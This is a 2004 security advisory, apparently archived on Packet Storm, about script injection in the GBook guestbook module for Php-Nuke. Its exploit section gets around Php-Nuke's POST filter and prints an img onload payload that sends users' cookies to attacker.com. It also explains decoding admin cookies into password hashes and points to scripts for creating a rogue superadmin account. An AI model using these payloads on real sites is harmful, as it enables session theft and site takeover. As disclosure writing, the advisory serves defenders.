what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2004-SA001.txt

waraxe-2004-SA001.txt
Posted Feb 3, 2004
Authored by Janek Vind aka waraxe

GBook for Php-Nuke version 1.0 fails to sanity check user input allowing for script injection and cookie theft.

tags | advisory, php
SHA-256 | fce5e2fce952d0a6c5a421f4ab449466affb0e648acbc0c10809ce06d64d243b

waraxe-2004-SA001.txt

Change Mirror Download






{================================================================================}

{ [waraxe-2004-SA#001] }

{================================================================================}

{ }

{ [ Script injection in GBook for Php-Nuke ver. 1.0 ] }

{ }

{================================================================================}



Author: Janek Vind "waraxe"



Date: 02 Feb 2004







Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Php-Nuke is popular freeware content management system, written in php by

Francisco Burzi. GBook is guestbook module for Php-Nuke, created by Germán Cuevas

and Víctor Simental, http://www.php-mania.com.ar







Vulnerabilities:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Gbook script does`nt sanityze user input at all, so anybody, who can make entries

to guestbook, can inject there potentially hostile html tags. This can lead to

cookie stealing and extracting usernames and password md5 hashes for Php-Nuke.







Exploit:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Html tags can be injected on many places on guestbook entry - "name", "email",

"city","message", etc. Choose what you prefer.

Next, GBook uses POST request to submit data to server, but Php-Nuke itself has

filter for $_POST[] variables:



##### Php-Nuke 7.0 mainfile.php line 56 #######################################



foreach ($_POST as $secvalue) {

if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*style*\"?[^>]*>", $secvalue))) {

die ("<center><img src=images/logo.gif><br><br><b>The html tags you attempted to use are not allowed

</b><br><br>[ <a href=\"javascript:history.go(-1)\"><b>Go Back</b></a> ]");

}

}



###############################################################################



So we can`t directly inject <script> tags to guestbook entry. But we have many

methods to bypass this filter. I will offer 2 methods:



1. We can use $_COOKIE array to transport variable with "<script>" tags to GBook

script. Yes, it`s true - Php-Nuke will not filter $_COOKIE array at all!

This can be done by manually editing browser cookies or by using speacially

crafted script.





2. There are many methods to use javascripting without <script> and <style> tags.

Example:



<img src="foobar" name="waraxe" width="1" height="1">

<img src="images/pix.gif" width="1" height="1" onload="waraxe.src='

http://attacker.com/steal.php?stuff='+escape(document.cookie);">

Your message here...







Ok, we have now cookies from Php-Nuke users, hopefully from admin too, and we need to

extract usernames and password md5 hashes from them. Just find cookie fields named

"admin" and/or "user" and base64_decode() them!

Example php implementation can be found on url:





http://www.zone.ee/waraxe/sa001/steal.php





And finally - if we have usernames and password md5 hashes, we have many choices:



1. We can try to crack md5 hashes to reveal real password.



2. Modify browser cookie manually and then access Php-Nuke site with stolen ID.



3. If we have "superadmin"`s username and pwd md5 hash, then perl script





http://www.zone.ee/waraxe/sa001/god.pl.php





can create additional superadmin account for attacker.







Greetings:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Greets to ulljobu, djzone, raider and to all computer freaks on Estonia!







Contact:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



come2waraxe@yahoo.com

Janek Vind "waraxe"



---------------------------------- [ EOF ] ------------------------------------

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close